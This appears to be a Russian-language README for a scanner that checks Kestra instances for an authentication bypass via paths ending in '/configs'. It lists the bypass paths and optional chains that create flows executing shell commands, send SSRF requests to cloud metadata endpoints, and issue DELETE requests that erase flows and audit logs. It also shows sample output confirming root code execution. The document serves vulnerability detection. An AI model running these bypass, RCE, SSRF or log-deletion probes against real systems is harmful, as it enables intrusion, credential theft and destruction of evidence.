
Kestra Auth-Bypass Vulnerability Checker
Сканирует экземпляры Kestra на предмет обхода аутентификационного фильтра через endsWith("/configs"). Файл AuthenticationFilter.java в Kestra проверяет request.getPath().endsWith("/configs") вместо точного совпадения пути /api/v1/configs. Поскольку Kestra адресует ресурсы через выбранные вызывающим сегменты пути (пространство имён, ID потока), любой путь, оканчивающийся на /configs, обходит базовую аутентификацию, позволяя неаутентифицированное создание потоков и RCE. (CVSS 10.0)
Ссылки:
GET /api/v1/configs (должен вернуть 200; тело ответа анализируется для получения версии Kestra)GET /api/v1/{tenant}/flows (должен вернуть 401/403, если аутентификация включена)/configs; если любой возвращает не 401/403 при активной аутентификации, экземпляр уязвим--aggressive) также отправляет PUT-запросы для подтверждения возможности записи в обход аутентификации--rce) полная цепочка: создание shell/python потока → запуск выполнения → получение логов → подтверждение выполнения кода → очистка--ssrf) создаёт поток с Pebble http(), нацеленный на метаданные AWS/GCP/Azure и внутренние конечные точки, затем проверяет логи на наличие свидетельств--destructive) отправляет DELETE на пути потоков, панелей мониторинга и логов для подтверждения обхода деструктивных операций| Проба | Метод | Путь | Описание |
|---|---|---|---|
| Публичные конфиги | GET | /api/v1/configs | Проверка работоспособности + извлечение версии |
| Защищённый нормальный | GET | /api/v1/{tenant}/flows | Базовый уровень проверки аутентификации |
| Обход потоков | GET | /api/v1/{tenant}/flows/{namespace}/configs | Обход получения списка потоков |
| Обход выполнений | GET | /api/v1/{tenant}/executions/{namespace}/configs | Обход выполнения |
| Обход KV-хранилища | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | Обход чтения KV |
| Обход панелей мониторинга | GET | /api/v1/{tenant}/dashboards/configs | Обход панелей мониторинга |
| Обход логов | GET | /api/v1/{tenant}/logs/{namespace}/configs | Обход доступа к логам |
| Обход шаблонов | GET | /api/v1/{tenant}/templates/{namespace}/configs | Обход чтения шаблонов |
--aggressive)| Проба | Метод | Путь | Описание |
|---|---|---|---|
| PUT-обход потоков | PUT | такой же, как у обхода потоков | Создаёт минимальный поток debug.Return |
| PUT-обход KV | PUT | такой же, как у обхода KV | Создаёт запись KV {"scanned": true} |
--destructive)| Проба | Метод | Путь | Описание |
|---|---|---|---|
| DELETE-обход потоков | DELETE | такой же, как у обхода потоков | Удаляет ресурс с именем "configs" |
| DELETE-обход панелей мониторинга | DELETE | такой же, как у обхода панелей мониторинга | Удаляет панель мониторинга с именем "configs" |
| DELETE-обход логов | DELETE | такой же, как у обхода логов | Уничтожает журналы аудита |
--rce)Запускается только при подтверждении обхода аутентификации. Полная цепочка из бюллетеня:
| Шаг | Метод | Путь | Описание |
|---|---|---|---|
| 1. Создать RCE поток | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Развёртывает поток с io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). При неудаче использует io.kestra.plugin.scripts.python.Script. |
| 2. Запустить выполнение | POST | /api/v1/{tenant}/executions/{namespace}/configs | Запускает поток через путь обхода |
| 3. Опрашивать логи | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Опрашивает до --poll-retries раз (по умолчанию 10) каждые --poll-interval секунд (по умолчанию 3) в поисках уникального маркера RCE |
| 4. Очистка | DELETE | такой же, как шаг 1 | Удаляет развёрнутый поток |
--ssrf)Запускается только при подтверждении обхода аутентификации:
| Шаг | Метод | Путь | Описание |
|---|---|---|---|
| 1. Создать SSRF поток | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Развёртывает задачу debug.Return с вызовами Pebble http() к AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) и внутренним ресурсам (127.0.0.1:8080/api/v1/configs) |
| 2. Запустить выполнение | POST | такой же, как шаг 2 RCE | Запускает поток |
| 3. Опрашивать логи | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Проверяет на наличие индикаторов облачных метаданных (ami-, i-, 169.254.169.254, metadata.google.internal и т. д.) |
| 4. Очистка | DELETE | такой же, как шаг 1 | Удаляет развёрнутый поток |
positional:
target URL одной цели (например, http://localhost:8080)
options:
-f, --file Файл с целями (по одной на строку)
-t, --timeout Тайм-аут запроса в секундах (по умолчанию: 10)
--verify-ssl Проверять TLS-сертификаты
-j, --json Вывод JSON в stdout
-o, --output Записать JSON-отчёт в файл
--tenant Имя арендатора (по умолчанию: "main")
--namespace Пространство имён для путей обхода (по умолчанию: "tutorial")
-w, --workers Количество потоков для массового сканирования (по умолчанию: 10)
-a, --aggressive Отправлять PUT-запросы для подтверждения обхода записи
-P, --auto-ports Порты для автоматического расширения (по умолчанию: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Включить цепочку проверки RCE (shell + python поток,
запуск выполнения, получение логов, автоочистка)
-s, --ssrf Включить обнаружение SSRF (Pebble http() к конечным точкам
облачных метаданных, сбор свидетельств на основе логов)
-d, --destructive Включить DELETE-пробы на потоки, панели мониторинга и логи
(УДАЛИТ ресурсы на уязвимых экземплярах)
--poll-interval Секунды между опросами логов для цепочек RCE/SSRF (по умолчанию: 3)
--poll-retries Максимальное количество попыток опроса логов для цепочек RCE/SSRF (по умолчанию: 10)
Полная детализация по каждой пробе с дополнениями (версия, RCE, SSRF, статус DELETE) и вердикт:
====================================================================
Цель: http://10.0.0.1:8080
Время: 2026-06-30T12:00:00+00:00
====================================================================
Версия: 1.3.20 (ЗАТРОНУТ)
RCE: ПОДТВЕРЖДЁН через shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: ОБНАРУЖЕН
| Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE-ОБХОД: ПОДТВЕРЖДЁН обход аутентификации для деструктивных операций
[Обход потоков]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Статус: 200
Обход: ДА
[Обход выполнений]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Статус: 404
Обход: НЕТ
...